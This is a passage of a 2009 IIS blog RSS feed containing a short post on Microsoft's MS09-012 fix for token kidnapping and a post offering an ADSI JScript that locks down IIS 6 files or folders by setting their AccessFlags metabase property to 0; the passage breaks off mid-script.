xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3099009</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/04/17/token-kidnapping-fixed.aspx#comments</comments><description>&lt;P&gt;I had gone into a little detail about explaining token kidnapping in an &lt;A href="http://blogs.iis.net/nazim/archive/2008/10/14/token-kidnapping-in-windows.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/10/14/token-kidnapping-in-windows.aspx"&gt;earlier post&lt;/A&gt;. Despite all the difficulties involved in fixing this, MS has released a comprehensive patch that addresses all the issues in &lt;A href="http://www.microsoft.com/technet/security/Bulletin/ms09-012.mspx" mce_href="http://www.microsoft.com/technet/security/Bulletin/ms09-012.mspx"&gt;MS09-012&lt;/A&gt;. This was a monumental effort, so kudos to all the teams involved in coordinating and getting this out the door.&lt;/P&gt;
&lt;P&gt;Here is some further reading from &lt;A href="http://blogs.technet.com/msrc/archive/2009/04/14/token-kidnapping.aspx" mce_href="http://blogs.technet.com/msrc/archive/2009/04/14/token-kidnapping.aspx"&gt;MSRC&lt;/A&gt; and &lt;A href="http://blogs.technet.com/srd/archive/2009/04/14/ms09-012-fixing-token-kidnapping.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/04/14/ms09-012-fixing-token-kidnapping.aspx"&gt;SRD&lt;/A&gt; on the topic.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3099009" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category></item><item><title>Script to lock down IIS paths</title><link>http://blogs.iis.net/nazim/archive/2009/03/11/script-to-lock-down-iis-paths.aspx</link><pubDate>Wed, 11 Mar 2009 18:48:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3000346</guid><dc:creator>naziml</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3000346</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/03/11/script-to-lock-down-iis-paths.aspx#comments</comments><description>&lt;P&gt;In IIS 7 we have request filtering available to help with locking down files and directories that you don't want to serve out. This is useful for resources (like configuration) that you want your IIS worker process to have access to, but not serve it out to clients. Things like web.config files fall in to this bucket, and default IIS 7 request filtering configuration denies serving out this extension. However on IIS 6, you don't have request filtering functionality built into the IIS platform. You would need to install stand-alone tools like UrlScan. &lt;/P&gt;
&lt;P&gt;But there is a way on IIS 6 to prevent serving out files that exists on the platform; it's the AccessFlags&amp;nbsp; metabase property. This property can be applied to any file or directory, and setting it to 0 will block anything from the directory or file from being served out. To make the task of setting this property for any file or directory under your sites easy, I wrote a quick script using ADSI to assist with the task. I have done very minimal testing on this, so please let me know if there are any issues.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;DIV class=code&gt;&lt;FONT color=#006400&gt;//&amp;nbsp; File: IISLockPath.js &lt;BR&gt;//&amp;nbsp; Copyright Microsoft Corp. 2009 &lt;BR&gt;//&amp;nbsp; Author: Nazim Lala &lt;BR&gt;// &lt;BR&gt;//&amp;nbsp; This script will set the AccessFlags property to 0 for a file/folder in&amp;nbsp;&amp;nbsp; &lt;BR&gt;//&amp;nbsp; IIS so that the file is not served out. &lt;BR&gt;//&amp;nbsp; Access to the file/folder will result in 403s. &lt;BR&gt;// &lt;BR&gt;//&amp;nbsp; Usage: &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IISLockPath.js &amp;lt;app_mb_path&amp;gt; &amp;lt;dir/filepath&amp;gt; &lt;BR&gt;//&amp;nbsp; where -&amp;nbsp; &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;vdir_path&amp;gt;: Metabase path to vdir under which application lives.&amp;nbsp; &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Can be ROOT as well. &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;dir/filepath&amp;gt;: relative path to file or folder under vdir. &lt;BR&gt;//&amp;nbsp; eg - &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For Application = W3SVC/1/MyApp, which has physical path c:/MyApp &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To lock c:/MyApp/Config/Hidden folder the command would be: &lt;BR&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IISLockPath.js W3SVC/1/MyApp Config/Hidden &lt;BR&gt;// &lt;BR&gt;////////////////////////////////////////////////////////////////////////////////////////////// &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFolder&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;false;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFile&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;false;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Count()&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;!&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;2&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Usage: IISLockPath.js &amp;lt;app_mb_path&amp;gt; &amp;lt;dir/filepath&amp;gt;.\r\n" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "&amp;lt;vdir_path&amp;gt;: Metabase path to vdir under which application lives." &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Can be ROOT as well.\r\n" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "&amp;lt;dir/filepath&amp;gt;: relative path to file or folder under vdir." &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Eg: App = W3SVC/1/MyApp, which has physical path c:/MyApp." &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "To lock c:/MyApp/Config/Hidden folder the command would be: "&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "IISLockPath.js W3SVC/1/MyApp Config/Hidden"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Verify format for MB vdir path &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Must have atleast w3svc/# - 7 characters &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Item(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;).length&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;7&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;||&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Item(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;).toUpperCase().slice(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#800000&gt;6&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;!&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "W3SVC/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Error: " &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Item(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; " is not a valid IIS metabase path"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Replace all '\' with '/' and remove beginning and trailing slashes &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;rgx&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;RegExp&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"\\\\"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "g"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;startindex,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Item(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;).replace(rgx,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;==&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;startindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;startindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(s.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;==&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(startindex,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;s&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Arguments.Item(&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;).replace(rgx,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;==&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;startindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;startindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(s.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;==&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT 